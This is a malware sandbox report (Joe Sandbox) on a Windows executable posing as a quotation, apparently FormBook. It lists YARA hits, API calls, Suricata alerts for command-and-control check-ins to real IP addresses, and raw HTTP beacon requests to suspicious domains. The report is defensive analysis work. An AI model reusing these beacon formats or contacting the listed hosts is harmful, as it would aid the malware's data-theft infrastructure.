Windows Analysis Report
QUOTATION#050125.exe

Machine Learning detection for sample

Source: Yara match	File source: 3.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.293705525670.0000000000C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289274740765.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289276636608.0000000005200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289276489302.0000000003BA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.292817073543.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.292817177626.0000000002F30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.293706459836.0000000004460000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: QUOTATION#050125.exe

Joe Sandbox ML: detected

Source: QUOTATION#050125.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: cmdkey.pdbGCTL source: svchost.exe, 00000003.00000003.289243898151.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.289275035878.0000000003200000.00000004.00000020.00020000.00000000.sdmp, SwDwSdNMaTt.exe, 00000005.00000003.292462791821.00000000010DB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: QUOTATION#050125.exe, 00000002.00000003.288634047789.0000000003CF0000.00000004.00001000.00020000.00000000.sdmp, QUOTATION#050125.exe, 00000002.00000003.288633604844.0000000003990000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.289275465830.000000000392D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.289183129164.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.289275465830.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.289180231245.0000000003400000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000003.289275169587.0000000002DE3000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292817455715.000000000326D000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000003.289279216842.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292817455715.0000000003140000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: QUOTATION#050125.exe, 00000002.00000003.288634047789.0000000003CF0000.00000004.00001000.00020000.00000000.sdmp, QUOTATION#050125.exe, 00000002.00000003.288633604844.0000000003990000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000003.00000002.289275465830.000000000392D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.289183129164.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.289275465830.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.289180231245.0000000003400000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, cmdkey.exe, 00000006.00000003.289275169587.0000000002DE3000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292817455715.000000000326D000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000003.289279216842.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292817455715.0000000003140000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: cmdkey.pdb source: svchost.exe, 00000003.00000003.289243898151.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.289275035878.0000000003200000.00000004.00000020.00020000.00000000.sdmp, SwDwSdNMaTt.exe, 00000005.00000003.292462791821.00000000010DB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: cmdkey.exe, 00000006.00000002.292815481224.0000000000AAD000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.000000000376C000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000000.289344432369.0000000002CCC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000011F5C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: cmdkey.exe, 00000006.00000002.292815481224.0000000000AAD000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.000000000376C000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000000.289344432369.0000000002CCC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000011F5C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000FC2A2 FindFirstFileExW,	2_2_000FC2A2
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_001368EE FindFirstFileW,FindClose,	2_2_001368EE
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0013698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	2_2_0013698F
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0012D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_0012D076
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0012D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_0012D3A9
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00139642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_00139642
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0013979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_0013979D
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00139B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	2_2_00139B2B
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0012DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	2_2_0012DBBE
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00135C97 FindFirstFileW,FindNextFileW,FindClose,	2_2_00135C97

Source: C:\Windows\SysWOW64\cmdkey.exe

Code function: 4x nop then mov ebx, 00000004h

6_2_030304E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49832 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49838 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49843 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49839 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49824 -> 45.33.2.79:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49835 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49830 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49822 -> 194.9.94.85:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49850 -> 172.67.132.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49847 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49825 -> 45.33.2.79:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49844 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49823 -> 45.33.2.79:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49845 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49863 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49856 -> 136.243.64.147:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49840 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49837 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49854 -> 136.243.64.147:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49868 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49846 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49853 -> 136.243.64.147:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49864 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49849 -> 172.67.132.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49888 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49851 -> 172.67.132.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49826 -> 45.33.2.79:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49842 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49831 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49892 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49875 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49876 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49855 -> 136.243.64.147:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49898 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49858 -> 202.95.11.110:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49860 -> 202.95.11.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49872 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49883 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49886 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49884 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49894 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49869 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49878 -> 194.9.94.85:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49841 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49827 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49828 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49859 -> 202.95.11.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49871 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49857 -> 202.95.11.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49880 -> 45.33.2.79:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49889 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49873 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49900 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49885 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49848 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49904 -> 172.67.132.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49874 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49861 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49829 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49887 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49852 -> 172.67.132.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49833 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49881 -> 45.33.2.79:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49870 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49882 -> 45.33.2.79:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49862 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49902 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49895 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49905 -> 172.67.132.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49896 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49867 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49890 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49865 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49879 -> 45.33.2.79:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49899 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49903 -> 172.67.132.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49877 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49901 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49893 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49891 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.30:49906 -> 172.67.132.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.30:49897 -> 13.248.169.48:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.furrcali.xyz

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 103.106.67.112 103.106.67.112

Source: Joe Sandbox View	ASN Name: GIGAINFRASoftbankBBCorpJP GIGAINFRASoftbankBBCorpJP
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: VOYAGERNET-AS-APVoyagerInternetLtdNZ VOYAGERNET-AS-APVoyagerInternetLtdNZ

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49866 -> 23.51.25.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49816 -> 23.51.25.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49834 -> 23.51.25.15:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0013CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

2_2_0013CE44

Source: global traffic	HTTP traffic detected: GET /js1x/?80k=lRapCPMXgDk&6B-l7F=YzadGC6YqOgjY/9t8WEBSxHCudcKSJxp0CcLO+Xh8dJmB8CdhvgUA7hRZF2xLQJtMCWb5Kgxi+xGIwqq0R102ShiT2rp0EsU7QKswOCkfsfu+tPWB6ee9FA= HTTP/1.1Host: www.milp.storeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /jwa9/?6B-l7F=nbEb6BapjrCYd3vuEk68dRLY4ua2Mo84Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKTT9RHcltuCAAAk51J4=&80k=lRapCPMXgDk HTTP/1.1Host: www.chiro.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /3u0p/?6B-l7F=s2YzwEkhsdaL/kJXp3k+A3KGmeJ3qBEv9AUKdpz0O4EFo1wYmv8+70PTeuLpJbel1HoKntoiuCCwLjgxW1UIuCv8mzvY6w9FRbC+/7SrF93BKOupqiEzChM=&80k=lRapCPMXgDk HTTP/1.1Host: www.mzkd6gp5.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /qps0/?6B-l7F=oe/Nf5ZxPavzyNCN5fJJ2OrxgayHc7sFQb4gcz6uUjnOuiLJkTwk1EFGD/G87FIa6dxrZOgAQGccmvtK4ohyPgEShywSULdIISv/2iuVOPOn5EuQA8dSwoA=&80k=lRapCPMXgDk HTTP/1.1Host: www.bokus.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /nkmx/?6B-l7F=eUQnbnMYY/LCOqGDejL9TQzNqDkA9lUjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth/8fPOW7Uk3kTT+8ArA=&80k=lRapCPMXgDk HTTP/1.1Host: www.givvjn.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /t3iv/?80k=lRapCPMXgDk&6B-l7F=P136bSYw/boin6uqIxZ+PLa4sXTYWAHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2CMMqknG4ydwL3V23OA= HTTP/1.1Host: www.bonheur.techAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /bwjl/?6B-l7F=DlXUXSIcZnIsgzlziINoOaBHIWRz+kGepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v1ALJkcTW8WFFCOZqPs=&80k=lRapCPMXgDk HTTP/1.1Host: www.rpa.asiaAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /kj1o/?80k=lRapCPMXgDk&6B-l7F=aFAzn/LT2mOAaNQADN8poQDHC/ShywB+MmjNXW9rGStYTR2loNwIsxAevG8AaM/8DgC1YrG7rp0i0fn4DlXpdNAv+6uTj4+oUBXQsmt/Lr8OGOl6Yl/nOLw= HTTP/1.1Host: www.ogbos88.cyouAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
